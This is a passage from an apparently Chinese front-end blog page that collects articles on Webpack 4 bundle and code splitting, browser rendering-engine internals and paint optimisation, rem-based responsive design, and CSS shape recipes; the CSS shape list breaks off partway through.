我们有一个 Webpack 配置如下(我省略了一些无关的配置):

// webpack.config.js 

const path = require('path')

module.exports = {
  entry: path.resolve(__dirame, 'src/index.js')
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash].js'
  }
}

对于那些新的缓存破坏:任何时候我说 main.js,我实际上是指 main.xMePWxHo.js,其中里面的字符串是文件内容的散列。这意味着不同的文件名 当应用程序中的代码发生更改时,从而强制浏览器下载新文件。

每周当我们对站点进行一些新的更改时,这个包的 contenthash 都会发生变化。因此,Alice 每周都要访问我们的站点并下载一个新的 400kb 文件。

如果我们把这些事件做成一张表格,它会是这样的。

图片描述

也就是10周内, 4.12 MB, 我们可以做得更好。

分解 vendor 包

让我们将包分成 main.jsvendor.js 文件。

 // webpack.config.js 

const path = require('path')

module.exports = {
  entry: path.resolve(__dirname, 'src/index.js'),
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash].js',
  },
  optimization: {
    splitChunks: {
      chunks: 'all'
    }
  }
}

Webpack4 为你做最好的事情,而没有告诉你想要如何拆分包。这导致我们对 webpack 是如何分包的知之甚少,结果有人会问 “你到底在对我的包裹做什么?”

添加 optimization.splitChunks.chunks ='all'的一种说法是 “将 node_modules 中的所有内容放入名为 vendors~main.js 的文件中”。

有了这个基本的 bundle splitting,Alice 每次访问时仍然下载一个新的 200kb 的 main.js,但是在第一周、第8周和第5周只下载 200kb 的 vendor.js (不是按此顺序)。

图片描述

总共:2.64 MB

减少36%。 在我们的配置中添加五行代码并不错。 在进一步阅读之前,先去做。 如果你需要从 Webpack 3 升级到 4,请不要担心,它非常简单。

我认为这种性能改进似乎更抽象,因为它是在10周内进行的,但是它确实为忠实用户减少了36%的字节,我们应该为自己感到自豪。

但我们可以做得更好。

分离每个 npm 包

我们的 vendor.js 遇到了与我们的 main.js 文件相同的问题——对其中一部分的更改意味着重新下载它的所有部分。

那么为什么不为每 个npm 包创建一个单独的文件呢?这很容易做到。

所以把 reactlodashreduxmoment 等拆分成不同的文件:

const path = require('path');
const webpack = require('webpack');

module.exports = {
  entry: path.resolve(__dirname, 'src/index.js'),
  plugins: [
    new webpack.HashedModuleIdsPlugin(), // so that file hashes don't change unexpectedly
  ],
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash].js',
  },
  optimization: {
    runtimeChunk: 'single',
    splitChunks: {
      chunks: 'all',
      maxInitialRequests: Infinity,
      minSize: 0,
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name(module) {
            // get the name. E.g. node_modules/packageName/not/this/part.js
            // or node_modules/packageName
            const packageName = module.context.match(/[\\/]node_modules[\\/](.*?)([\\/]|$)/)[1];

            // npm package names are URL-safe, but some servers don't like @ symbols
            return `npm.${packageName.replace('@', '')}`;
          },
        },
      },
    },
  },
};

文档将很好地解释这里的大部分内容,但是我将稍微解释一下需要注意的部分,因为它们花了我太多的时间。

  • Webpack 有一些不太聪明的默认设置,比如分割输出文件时最多3个文件,最小文件大小为30 KB(所有较小的文件将连接在一起),所以我重写了这些。

  • cacheGroups 是我们定义 Webpack 应该如何将数据块分组到输出文件中的规则的地方。这里有一个名为 “vendor” 的模块,它将用于从 node_modules 加载的任何模块。通常,你只需将输出文件的名称定义为字符串。但是我将 name 定义为一个函数(将为每个解析的文件调用这个函数)。然后从模块的路径返回包的名称。因此,我们将为每个包获得一个文件,例如 npm.react-dom.899sadfhj4.js

  • NPM 包名称必须是 URL 安全的才能发布,因此我们不需要 encodeURIpackageName。 但是,我遇到一个.NET服务器不能提供名称中带有 @(来自一个限定范围的包)的文件,所以我在这个代码片段中替换了 @

  • 整个设置很棒,因为它是一成不变的。 无需维护 - 不需要按名称引用任何包。

Alice 仍然会每周重新下载 200 KB 的 main.js 文件,并且在第一次访问时仍会下载 200 KB 的npm包,但她绝不会两次下载相同的包。

图片描述

总共: 2.24 MB.

与基线相比减少了44%,这对于一些可以从博客文章中复制/粘贴的代码来说非常酷。

我想知道是否有可能超过 50% ? 这完全没有问题。

分离应用程序代码的区域

让我们转到 main.js 文件,可怜的 Alice 一次又一次地下载这个文件。

我之前提到过,我们在此站点上有两个不同的部分:产品列表和产品详细信息页面。 每个区域中的唯一代码为25 KB(共享代码为150 KB)。

我们的产品详情页面现在变化不大,因为我们做得太完美了。 因此,如果我们将其做为单独的文件,则可以在大多数时间从缓存中获取到它。

另外,我们网站有一个较大的内联SVG文件用于渲染图标,重量只有25 KB,而这个也是很少变化的, 我们也需要优化它。

我们只需手动添加一些入口点,告诉 Webpack 为每个项创建一个文件。

module.exports = {
  entry: {
    main: path.resolve(__dirname, 'src/index.js'),
    ProductList: path.resolve(__dirname, 'src/ProductList/ProductList.js'),
    ProductPage: path.resolve(__dirname, 'src/ProductPage/ProductPage.js'),
    Icon: path.resolve(__dirname, 'src/Icon/Icon.js'),
  },
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: '[name].[contenthash:8].js',
  },
  plugins: [
    new webpack.HashedModuleIdsPlugin(), // so that file hashes don't change unexpectedly
  ],
  optimization: {
    runtimeChunk: 'single',
    splitChunks: {
      chunks: 'all',
      maxInitialRequests: Infinity,
      minSize: 0,
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name(module) {
            // get the name. E.g. node_modules/packageName/not/this/part.js
            // or node_modules/packageName
            const packageName = module.context.match(/[\\/]node_modules[\\/](.*?)([\\/]|$)/)[1];

            // npm package names are URL-safe, but some servers don't like @ symbols
            return `npm.${packageName.replace('@', '')}`;
          },
        },
      },
    },
  },
};

Webpack 还会为 ProductListProductPage 之间共享的内容创建文件,这样我们就不会得到重复的代码。

这将为 Alice 在大多数情况下节省 50 KB 的下载。

图片描述

只有 1.815 MB!

我们已经为 Alice 节省了高达56%的下载量,这种节省将(在我们的理论场景中)持续到时间结束。

所有这些都只在Webpack配置中进行了更改——我们没有对应用程序代码进行任何更改。

我在前面提到过,测试中的确切场景并不重要。这是因为,无论你提出什么场景,结论都是一样的:将应用程序分割成合理的小文件,以便用户下载更少的代码。

很快,=将讨论“code splitting”——另一种类型的文件分割——但首先我想解决你现在正在考虑的三个问题。

1.大量的网络请求不是更慢吗?

答案当然是不会

在 HTTP/1.1 时代,这曾经是一种情况,但在 HTTP/2 时代就不是这样了。

尽管如此,这篇2016年的文章Khan Academy 2015年的文章都得出结论,即使使用 HTTP/2,下载太多的文件还是比较慢。但在这两篇文章中,“太多”的意思都是“几百个”。所以请记住,如果你有数百个文件,你可能一开始就会遇到并发限制。

如果您想知道,对 HTTP/2 的支持可以追溯到 Windows 10 上的 ie11。我做了一个详尽的调查,每个人都使用比那更旧的设置,他们一致向我保证,他们不在乎网站加载有多快。

2: 每个webpack包中没有 开销/引用 代码吗?

是的,这也是真的。

好吧,狗屎:

  • more files = 更多 Webpack 引用

  • more files = 不压缩

让我们量化一下,这样我们就能确切地知道需要担心多少。

好的,我刚做了一个测试,一个 190 KB 的站点拆分成 19 个文件,增加了大约 2%发送到浏览器的总字节数。

因此......在第一次访问时增加 2%,在每次访问之前减少60%直到网站下架。

正确的担忧是:完全没有。

当我测试1个文件对19个时,我想我会在一些不同的网络上试一试,包括HTTP / 1.1

图片描述

在 3G 和4G上,这个站点在有19个文件的情况下加载时间减少了30%。

这是非常杂乱的数据。 例如,在运行2号 的 4G 上,站点加载时间为 646ms,然后运行两次之后,加载时间为1116ms,比之前长73%,没有变化。因此,声称 HTTP/2 “快30%” 似乎有点鬼鬼祟祟。

我创建这个表是为了尝试量化 HTTP/2 所带来的差异,但实际上我唯一能说的是“它可能没有显著的差异”。

真正令人吃惊的是最后两行。那是旧的 Windows 和 HTTP/1.1,我打赌会慢得多,我想我需把网速调慢一点。

我从微软的网站上下载了一个Windows 7 虚拟机来测试这些东西。它是 IE8 自带的,我想把它升级到IE9,所以我转到微软的IE9下载页面…

图片描述

关于HTTP/2 的最后一个问题,你知道它现在已经内置到 Node中了吗?如果你想体验一下,我编写了一个带有gzip、brotli和响应缓存的小型100行HTTP/2服务器,以满足你的测试乐趣。

这就是我要讲的关于 bundle splitting 的所有内容。我认为这种方法唯一的缺点是必须不断地说服人们加载大量的小文件是可以的。

Code splitting (加载你需要的代码)

我说,这种特殊的方法只有在某些网站上才有意义。

我喜欢应用我刚刚编造的 20/20 规则:如果你的站点的某个部分只有 20% 的用户访问,并且它大于站点的 JavaScript 的 20%,那么你应该按需加载该代码。

如何决定?

假设你有一个购物网站,想知道是否应该将“checkout”的代码分开,因为只有30%的访问者才会访问那里。

首先要做的是卖更好的东西。

第二件事是弄清楚多少代码对于结账功能是完全独立的。 由于在执行“code splitting” 之前应始终先“bundle splitting’ ”,因此你可能已经知道代码的这一部分有多大。

它可能比你想象的要小,所以在你太兴奋之前做一下加法。例如,如果你有一个 React 站点,那么你的 storereducerroutingactions 等都将在整个站点上共享。唯一的部分将主要是组件和它们的帮助类。

因此,你注意到你的结帐页面完全独特的代码是 7KB。 该网站的其余部分是 300 KB。 我会看着这个,然后说,我不打算把它拆分,原因如下:

  • 提前加载不会变慢。记住,你是在并行加载所有这些文件。查看是否可以记录 300KB307KB 之间的加载时间差异。

* 如果你稍后加载此代码,则用户必须在单击“TAKE MY MONEY”之后等待该文件 - 你希望延迟的最小的时间。

  • Code splitting 需要更改应用程序代码。 它引入了异步逻辑,以前只有同步逻辑。 这不是火箭科学,但我认为应该通过可感知的用户体验改进来证明其复杂性。

让我们看两个 code splitting 的例子。

Polyfills

我将从这个开始,因为它适用于大多数站点,并且是一个很好的简单介绍。

我在我的网站上使用了一些奇特的功能,所以我有一个文件可以导入我需要的所有polyfill, 它包括以下八行:

// polyfills.js 
require('whatwg-fetch');
require('intl');
require('url-polyfill');
require('core-js/web/dom-collections');
require('core-js/es6/map');
require('core-js/es6/string');
require('core-js/es6/array');
require('core-js/es6/object');

index.js 中导入这个文件。

// index-always-poly.js
import './polyfills';
import React from 'react';
import ReactDOM from 'react-dom';
import App from './App/App';
import './index.css';

const render = () => {
  ReactDOM.render(<App />, document.getElementById('root'));
}

render(); // yes I am pointless, for now

使用 bundle splitting 的 Webpack 配置,我的 polyfills 将自动拆分为四个不同的文件,因为这里有四个 npm 包。 它们总共大约 25 KB,并且 90% 的浏览器不需要它们,因此值得动态加载它们。

使用 Webpack 4 和 import() 语法(不要与 import 语法混淆),有条件地加载polyfill 非常容易。

import React from 'react';
import ReactDOM from 'react-dom';
import App from './App/App';
import './index.css';

const render = () => {
  ReactDOM.render(<App />, document.getElementById('root'));
}

if (
  'fetch' in window &&
  'Intl' in window &&
  'URL' in window &&
  'Map' in window &&
  'forEach' in NodeList.prototype &&
  'startsWith' in String.prototype &&
  'endsWith' in String.prototype &&
  'includes' in String.prototype &&
  'includes' in Array.prototype &&
  'assign' in Object &&
  'entries' in Object &&
  'keys' in Object
) {
  render();
} else {
  import('./polyfills').then(render);
}

合理? 如果支持所有这些内容,则渲染页面。 否则,导入 polyfill 然后渲染页面。 当这个代码在浏览器中运行时,Webpack 的运行时将处理这四个 npm 包的加载,当它们被下载和解析时,将调用 render() 并继续进行。

顺便说一句,要使用 import(),你需要 Babel 的动态导入插件。另外,正如 Webpack 文档解释的那样,import() 使用 promises,所以你需要将其与其他polyfill分开填充。

基于路由的动态加载(特定于React)

回到 Alice 的例子,假设站点现在有一个“管理”部分,产品的销售者可以登录并管理他们所销售的一些没用的记录。

本节有许多精彩的特性、大量的图表和来自 npm 的大型图表库。因为我已经在做 bundle splittin 了,我可以看到这些都是超过 100 KB 的阴影。

目前,我有一个路由设置,当用户查看 /admin URL时,它将渲染 <AdminPage>。当Webpack 打包所有东西时,它会找到 import AdminPage from './AdminPage.js'。然后说"嘿,我需要在初始负载中包含这个"

但我们不希望这样,我们需要将这个引用放到一个动态导入的管理页面中,比如import('./AdminPage.js') ,这样 Webpack 就知道动态加载它。

它非常酷,不需要配置。

因此,不必直接引用 AdminPage,我可以创建另一个组件,当用户访问 /admin URL时将渲染该组件,它可能是这样的:

// AdminPageLoader.js 
import React from 'react';

class AdminPageLoader extends React.PureComponent {
  constructor(props) {
    super(props);

    this.state = {
      AdminPage: null,
    }
  }

  componentDidMount() {
    import('./AdminPage').then(module => {
      this.setState({ AdminPage: module.default });
    });
  }

  render() {
    const { AdminPage } = this.state;

    return AdminPage
      ? <AdminPage {...this.props} />
      : <div>Loading...</div>;
  }
}

export default AdminPageLoader;

这个概念很简单,对吧? 当这个组件挂载时(意味着用户位于 /admin URL),我们将动态加载 ./AdminPage.js,然后在状态中保存对该组件的引用。

render 方法中,我们只是在等待 <AdminPage> 加载时渲染 <div>Loading...</div>,或者在加载并存储状态时渲染 <AdminPage>

我想自己做这个只是为了好玩,但是在现实世界中,你只需要使用 react-loadable ,如关于 code-splitting 的React文档 中所述。

总结

对于上面总结以下两点:

  • 如果有人不止一次访问你的网站,把你的代码分成许多小文件。

  • 如果你的站点有大部分用户不访问的部分,则动态加载该代码。

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:

https://hackernoon.com/the-100-correct-way-to-split-your-chunks-with-webpack-f8a9df5b7758

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

图片描述

11.JavaScript是如何工作的:渲染引擎和优化其性能的技巧

当你构建 Web 应用程序时,你不只是编写单独运行的 JavaScript 代码,你编写的 JavaScript 正在与环境进行交互。了解这种环境,它的工作原理以及它的组,这些有助于你够构建更好的应用程序,并为应用程序发布后可能出现的潜在问题做好充分准备。

image

浏览器的主要组件包括:

  • 用户界面 (User interface): 包括地址栏、后退/前进按钮、书签目录等,也就是你所看到的除了用来显示你所请求页面的主窗口之外的其他部分

  • **浏览器引擎 (Browser engine):**用来查询及操作渲染引擎的接口

  • **渲染引擎 (Rendering engine):**用来显示请求的内容,例如,如果请求内容为 html,它负责解析 html 及 css,并将解析后的结果显示出来

  • **网络 (Networking):**用来完成网络调用,例如http请求,它具有平台无关的接口,可以在不同平台上工作

  • **UI 后端 (UI backend):**用来绘制类似组合选择框及对话框等基本组件,具有不特定于某个平台的通用接口,底层使用操作系统的用户接口

  • **JS 解释器 (JavaScript engine):**用来解释执行JS代码

  • 数据存储 (Data persistence): 属于持久层,浏览器需要在硬盘中保存类似 cookie 的各种数据,HTML5定义了 Web Database 技术,这是一种轻量级完整的客户端存储技术,支持的存储机制类型包括 localStorageindexDBWebSQLFileSystem

在这篇文章中,将重点讨论渲染引擎,因为它处理 HTML 和 CSS 的解析和可视化,这是大多数 JavaScript 应用程序经常与之交互的东西。

渲染引擎概述

渲染引擎的职责就是渲染,即在浏览器窗口中显示所请求的内容。

渲染引擎可以显示 HTML 和 XML 文档和图像。如果使用其他插件,渲染引擎还可以显示不同类型的文档,如 PDF。

渲染引擎 (Rendering engines)

与 JavaScript 引擎类似,不同的浏览器也使用不同的渲染引擎。以下是一些最受欢迎的:

  • Gecko — Firefox
  • WebKit — Safari
  • Blink — Chrome,Opera (版本 15 之后)

Firefox、Chrome 和 Safari 是基于两种渲染引擎构建的,Firefox 使用 Geoko——Mozilla 自主研发的渲染引擎,Safari 和 Chrome 都使用 Webkit。Blink 是 Chrome 基于 WebKit的自主渲染引擎。

渲染的过程

渲染引擎从网络层接收所请求文档的内容。

image

解析 HTML 以构建 Dom 树 -> 构建 Render 树 -> 布局 Render 树 -> 绘制 Render 树

构建 Dom 树

渲染现引擎的第一步是解析 HTML文档,并将解析后的元素转换为 DOM 树中的实际 DOM 节点。

假如有如下 Html 结构

<html>
  <head>
    <meta charset="UTF-8">
    <link rel="stylesheet" type="text/css" href="theme.css">
  </head>
  <body>
    <p> Hello, <span> friend! </span> </p>
    <div> 
      <img src="smiley.gif" alt="Smiley face" height="42" width="42">
    </div>
  </body>
</html>

对应的 DOM 树如下:

image

基本上,每个元素都表示为所有元素的父节点,这些元素直接包含在元素中。

构建 CSSOM

CSSOM 指的是 CSS 对象模型。 当浏览器构建页面的 DOM 时,它在 head 标签下如遇到了一个 link 标记且引用了外部 theme.css CSS 样式表。 浏览器预计可能需要该资源来呈现页面,它会立即发送请求。 假设 theme.css 文件内容如下:

body { 
  font-size: 16px;
}

p { 
  font-weight: bold; 
}

span { 
  color: red; 
}

p span { 
  display: none; 
}

img { 
  float: right; 
}

与 HTML一样,渲染引擎需要将 CSS 转换成浏览器可以使用的东西—— CSSOM。CSSOM 结构如下:

image

你想知道为什么 CSSOM 是一个树形结构? 在为页面上的任何对象计算最终样式集时,浏览器以适用于该节点的最常规规则开始(例如,如果它是 body 元素的子元素,则应用所有 body 样式),然后递归地细化,通过应用更具体的规则来计算样式。

来看看具体的例子。包含在 body 元素内的 span 标签中的任何文本的字体大小均为 16 像素,并且为红色。这些样式是从 body 元素继承而来的。 如果一个 span 元素是一个 p 元素的子元素,那么它的内容就不会被显示,因为它被应用了更具体的样式(display: none)。

另请注意,上面的树不是完整的 CSSOM 树,只显示我们决定在样式表中覆盖的样式。 每个浏览器都提供一组默认样式,也称为**“user agent stylesheet”**。这是我们在未明确指定任何样式时看到的样式,我们的样式会覆盖这些默认值。

image

不同浏览器对于相同元素的默认样式并不一致,这也是为什么我们在 CSS 的最开始要写 *{padding:0;marging:0};,也就是我们要重置CSS默认样式的。

构建渲染树

CSSOM 树和 DOM 树连接在一起形成一个 render tree,渲染树用来计算可见元素的布局并且作为将像素渲染到屏幕上的过程的输入。

  • DOM 树和 CSSOM 树连接在一起形成 render tree .
  • render tree 只包含了用于渲染页面的节点
  • 布局计算了每一个对象的准确的位置以及大小
  • 绘画是最后一步,绘画要求利用 render tree 来将像素显示到屏幕上

渲染树中的每个节点在 Webkit 中称为渲染器或渲染对象。

收下是上面 DOM 和 CSSOM 树的渲染器树的样子:

image

为了构建渲染树,浏览器大致执行以下操作:

  • 从 DOM 树根节点开始,遍历每一个可见的节点

  • 一些节点是完全不可见的(比如 script标签,meta标签等),这些节点会被忽略,因为他们不会影响渲染的输出

  • 一些节点是通过 CSS 样式隐藏了,这些节点同样被忽略——例如上例中的 span 节点在 render tree 中被忽略,因为 span 样式是 display:none

  • 对每一个可见的节点,找到合适的匹配的CSSOM规则,并且应用样式

  • 显示可见节点(节点包括内容和被计算的样式)

“visibility:hidden”“display:none” 之间的不同,“visibility:hidden” 将元素设置为不可见,但是同样在布局上占领一定空间(例如,它会被渲染成为空盒子),但是 “display:none” 的元素是将节点从整个 render tree 中移除,所以不是布局中的一部分 。

你可以在这里查看 RenderObject 的源代码(在 WebKit 中):

https://github.com/WebKit/webkit/blob/fde57e46b1f8d7dde4b2006aaf7ebe5a09a6984b/Source/WebCore/rendering/RenderObject.h

我们来看看这个类的一些核心内容:

image

每个渲染器代表一个矩形区域,通常对应于一个节点的 CSS 盒模型。它包含几何信息,例如宽度、高度和位置。

渲染树的布局

创建渲染器并将其添加到树中时,它没有位置和大小,计算这些值称为布局。

HTML使用基于流的布局模型,这意味着大多数时间它可以一次性计算几何图形。坐标系统相对于根渲染器,使用左上原点坐标。

布局是一个递归过程 - 它从根渲染器开始,它对应于 HTML 文档的 <html> 元素。 布局以递归方式继续通过部件或整个渲染器层次结构,为每个需要它的渲染器计算几何信息。

根渲染器的位置为0,0,其尺寸与浏览器窗口的可见部分(即viewport)的大小相同。开始布局过程意味着给每个节点在屏幕上应该出现的确切坐标。

绘制渲染树

在此绘制,遍历渲染器树并调用渲染器的 paint() 方法以在屏幕上显示内容。

绘图可以是全局的或增量式的(与布局类似):

  • 全局 — 整棵树被重绘

  • 增量式 — 只有一些渲染器以不影响整个树的方式改变。 渲染器使其在屏幕上的矩形无效,这会导致操作系统将其视为需要重新绘制并生成绘 paint 事件的区域。 操作系统通过将多个区域合并为一个来智能完成。

总的来说,重要的中要理解绘图是一个渐进的过程。为了更好的用户体验,渲染引擎将尽可能快地在屏幕上显示内容。它不会等到解析完所有 HTML 后才开始构建和布局渲染树,而是解析和显示部分内容,同时继续处理来自网络的其余内容项。

处理脚本和样式表的顺序

当解析器到达 <script> 标记时,将立即解析并执行脚本。文档的解析将暂停,直到执行脚本为止。这意味着这个过程是同步的

如果脚本是外部的,那么首先必须从网络中获取它(也是同步的)。所有解析都停止,直到获取完成。HTML5 新加了async 或 defer 属性,将脚本标记为异步的,以便由不同的线程解析和执行。

优化渲染性能

如果你想优化自己的应用,则需要关注五个主要方面,这些是你自己可以控制的:

  1. JavaScript   — 在之前的文章中,讨论了如果编写优化代码的主题抱包括如果编写代码才不会阻止UI,和提高内存利用等等。在渲染时,需要考虑 JavaScript 代码与页面 上DOM 素交互的方式。 JavaScript 可以在 UI中创建大量更改,尤其是在 SPA 中。

  2. 样式计算 — 这是根据匹配选择器确定哪个 CSS 规则适用于哪个元素的过程。 定义规则后,将应用它们并计算每个元素的最终样式。

  3. 布局 — 一旦浏览器知道哪些规则适用于某个元素,它就可以开始计算后者占用多少空间以及它在浏览器屏幕上的位置。Web 的布局模型定义了一个元素可以影响其他元素。例如, 的宽度会影响其子元素的宽度,等等。这意味着布局过程是计算密集型的,该绘图是在多个图层完成的。

  4. 绘图 —— 这是实际像素被填充的地方,这个过程包括绘制文本、颜色、图像、边框、阴影等——每个元素的每个可视部分。

  5. 合成  — 由于页面部分可能被绘制成多个层,因此它们需要以正确的顺序绘制到屏幕上,以便页面渲染正确。这是非常重要的,特别是对于重叠的元素。

优化你的 JavaScript

JavaScript 经常触发浏览器中的视觉变化,构建 SPA 时更是如此。

以下是一些优化 JavaScript 渲染技巧:

  • 避免使用 setTimeoutsetInterval 进行可视更新。 这些将在帧中的某个点调用 callback ,可能在最后。我们想要做的是在帧开始时触发视觉变化而不是错过它。

  • 之前文章 所述,将长时间运行的 JavaScript 计算转移到 Web Workers。

  • 使用微任务在多个帧中变更 DOM。这是在任务需要访问 DOM 时使用的, Web Worker 无法访问 DOM。这基本上意味着你要把一个大任务分解成更小的任务,然后根据任务的性质在 requestAnimationFrame, setTimeout, setInterval 中运行它们。

优化你的 CSS

通过添加和删除元素,更改属性等来修改 DOM 将使浏览器重新计算元素样式,并且在许多情况下,重新计算整个页面的布局或至少部分布局。

要优化渲染,考虑以下事项:

  • 减少选择器的复杂性,与构造样式本身的其他工作相比,选择器复杂性可以占用计算元素样式所需时间的50%以上。

* 减少必须进行样式计算的元素的数量。本质上,直接对一些元素进行样式更改,而不是使整个页面无效。

优化布局

浏览器的布局重新计算可能非常繁重。 考虑以下优化:

  • 尽可能减少布局的数量。当你更改样式时,浏览器会检查是否有任何更改需要重新计算布局。对宽度、高度、左、顶等属性的更改,以及通常与几何相关的属性的更改,都需要布局。所以,尽量避免改变它们。

  • 尽量使用 flexbox 而不是老的布局模型。它运行速度更快,可为你的应用程序创造巨大的性能优势。

  • 避免强制同步布局。需要记住的是,在 JavaScript 运行时,前一帧中的所有旧布局值都是已知的,可以查询。如果你访问 box.offsetHeight,那就不成问题了。但是,如果你在访问 box 之前更改了它的样式(例如,通过动态地向元素添加一些 CSS 类),浏览器必须先应用样式更改并执行布局过程,这是非常耗时和耗费资源的,所以尽可能避免。

优化绘图

这通常是所有任务中运行时间最长的,因此尽可能避免这种情况非常重要。 以下是我们可以做的事情:

  • 除了变换(transform)和透明度之外,改变其他任何属性都会触发重新绘图,请谨慎使用。
  • 如果触发了布局,那也会触发绘图,因为更改布局会导致元素的视觉效果也改变。
  • 通过图层提升和动画编排来减少重绘区域。

原文:

https://blog.sessionstack.com/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance-7b95553baeda

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

前端学习之路之自适应设计(sass语法)

基本概念

  • css像素、设备像素、逻辑像素、设备像素比

  • viewport

  • rem

1. css像素、设备像素、逻辑像素、设备像素比

大家可以先看这篇文章了解一下基本概念。

css像素:我们大家经常写高多少px,宽多少px,这个就是px像素。

逻辑像素:其它就是css像素,他们其实是同一回事。

设备像素比:css像素与物理像素的一个比值。

设备像素:手机上像素的点,通常一个像素点就是一点,但从苹果出了Retina屏 幕后,如果像素比为2,代表一个逻辑像素表示2个物理像素,如上图,就是说一般我们写高等于2px,宽等于2px,正常对应就是正面的面积为4的4个像素,这是大家所能正常理解的,但是在Retina屏的时候,如果像素为2,它是1比2,就是说css 1px等于
Retina 2px ,所以原来用2 x 2表示4个px,现在在Retina需要16个像素来表示。

2. viewport


如上图,viewport相信大家都 会,但对于width=device-width,为什么 要这样设置以及设置的原理,我想大家可能不太明白。

1)viewport主要分为三类 visual viewport,layout viewport, ideal viewport

layout viewport:如上图蓝色的页面,你可以认为你写的页面,它就是一个layout viewport。

visual viewport:如上图手机里, 如里说没有width=device-width的话,你这个很庞大的页面,在手机 有限的窗口范围内,是不是放不下。如果说手机是透明的话,你怎么拖后面的大图,在手机上只能看到一个相对大小 的页面,相当于大图进行裁剪一样,呗裁剪出来的这块东西就叫visual viewport.

ideal viewport:简单说就是手机 的宽和高组成的组成这种尺寸就叫ideal viewport。

2)width=device-width主要做了什么事情?

width=device-width它主要的作用就是让大图layout viewport等于手机的ideal viewport。这样就做到了2个不同的窗口大小 是一样的

3. rem


上图是官方说明,简单的说,rem的计算就是按照html的根标签进行计算。

工作原理

  • 利用viewport和设备像素比调整基准像素
  • 利用px2rem自动转换css单位

1)利用viewport和设备像素比调整基准像素


上图中的设计尺寸,比如5s,它的像素是320,像素比drp为2,这个320指的是刚才的css像素,所以物理像素等于320 x 2 = 640,也就是说手机的硬件提供640个真实的像素点,这里所说的是宽,不要考虑高。举个粟子,如右图设备尺寸,比如说当你的设备宽是375 css像素,设备像素比为3,所以物理像素为375 x 3 =1125 个物理像素。然后通过数学的线性比我们就可以根据比例来做自适应,但这处方法在真实世界是不科学的,因为手机尺寸很多,不可能像这样一个一个调整,所以这种方法不适用。

想想刚才的说的rem,我们通过设备像素比和viewport调整基准像素, 我们不需要所以的设备都 要去除以一下设备像素比的关系,我们是利用js自己计算,算法就是利用上图的1125/640这个线性比。

比如说设计尺寸下当前html字体大小 为40px,以它为基准单位,那么到设备尺寸下,html的字体大小为( 40 x 1125 )/ 640=71.1,然后所有的单位为rem,这样就可以达到自适应。

2. 利用px2rem自动转换css单位

@function torem($px){//$px为需要转换的字号
    @return $px / 40px * 1rem; //40px为根字体大小
}

45个值得收藏的 CSS 形状

CSS能够生成各种形状。正方形和矩形很容易,因为它们是 web 的自然形状。添加宽度和高度,就得到了所需的精确大小的矩形。添加边框半径,你就可以把这个形状变成圆形,足够多的边框半径,你就可以把这些矩形变成圆形和椭圆形。

我们还可以使用 CSS 伪元素中的 ::before::after,这为我们提供了向原始元素添加另外两个形状的可能性。通过巧妙地使用定位、转换和许多其他技巧,我们可以只用一个 HTML 元素在 CSS 中创建许多形状。

虽然我们现在大都使用字体图标或者svg图片,似乎使用 CSS 来做图标意义不是很大,但怎么实现这些图标用到的一些技巧及思路是很值得我们的学习。

1.正方形

clipboard.png

#square {
  width: 100px;
  height: 100px;
  background: red;
}

2.长方形

clipboard.png

#rectangle {
  width: 200px;
  height: 100px;
  background: red;
}

3.圆形

clipboard.png
#circle {
width: 100px;
height: 100px;
background: red;
border-radius: 50%
}

4.椭圆形

clipboard.png

#oval {
  width: 200px;
  height: 100px;
  background: red;
  border-radius: 100px / 50px;
}

5.上三角

clipboard.png

#triangle-up {
  width: 0;
  height: 0;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  border-bottom: 100px solid red;
}

6.下三角

clipboard.png

#triangle-down {
  width: 0;
  height: 0;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  border-top: 100px solid red;
}

7.左三角

clipboard.png

#triangle-left {
  width: 0;
  height: 0;
  border-top: 50px solid transparent;
  border-right: 100px solid red;
  border-bottom: 50px solid transparent;
}

8.右三角

clipboard.png

#triangle-right {
  width: 0;
  height: 0;
  border-top: 50px solid transparent;
  border-left: 100px solid red;
  border-bottom: 50px solid transparent;
}

9.左上角

clipboard.png

#triangle-topleft {
width: 0;
height: 0;
border-top: 100px solid red;
border-right: 100px solid transparent;
}

10.右上角

clipboard.png

#triangle-topright {
  width: 0;
  height: 0;
  border-top: 100px solid red;
  border-left: 100px solid transparent;
}

11.左下角

clipboard.png

#triangle-bottomleft {
  width: 0;
  height: 0;
  border-bottom: 100px solid red;
  border-right: 100px solid transparent;
}

12.右下角

clipboard.png

#triangle-bottomright {
  width: 0;
  height: 0;
  border-bottom: 100px solid red;
  border-left: 100px solid transparent;
}

13.箭头

clipboard.png

#curvedarrow {
  position: relative;
  width: 0;
  height: 0;
  border-top: 9px solid transparent;
  border-right: 9px solid red;
  transform: rotate(10deg);
}
#curvedarrow:after {
  content: "";
  position: absolute;
  border: 0 solid transparent;
  border-top: 3px solid red;
  border-radius: 20px 0 0 0;
  top: -12px;
  left: -9px;
  width: 12px;
  height: 12px;
  transform: rotate(45deg);
}

14.梯形

clipboard.png

#trapezoid {
  border-bottom: 100px solid red;
  border-left: 25px solid transparent;
  border-right: 25px solid transparent;
  height: 0;
  width: 100px;
}

15.平行四边形

clipboard.png

#parallelogram {
  width: 150px;
  height: 100px;
  transform: skew(20deg);
  background: red;
}

16.星星 (6角)

clipboard.png

#star-six {
  width: 0;
  height: 0;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  border-bottom: 100px solid red;
  position: relative;
}
#star-six:after {
  width: 0;
  height: 0;
  border-left: 50px solid transparent;
  border-right: 50px solid transparent;
  border-top: 100px solid red;
  position: absolute;
  content: "";
  top: 30px;
  left: -50px;
}

17.星星 (5角)

clipboard.png

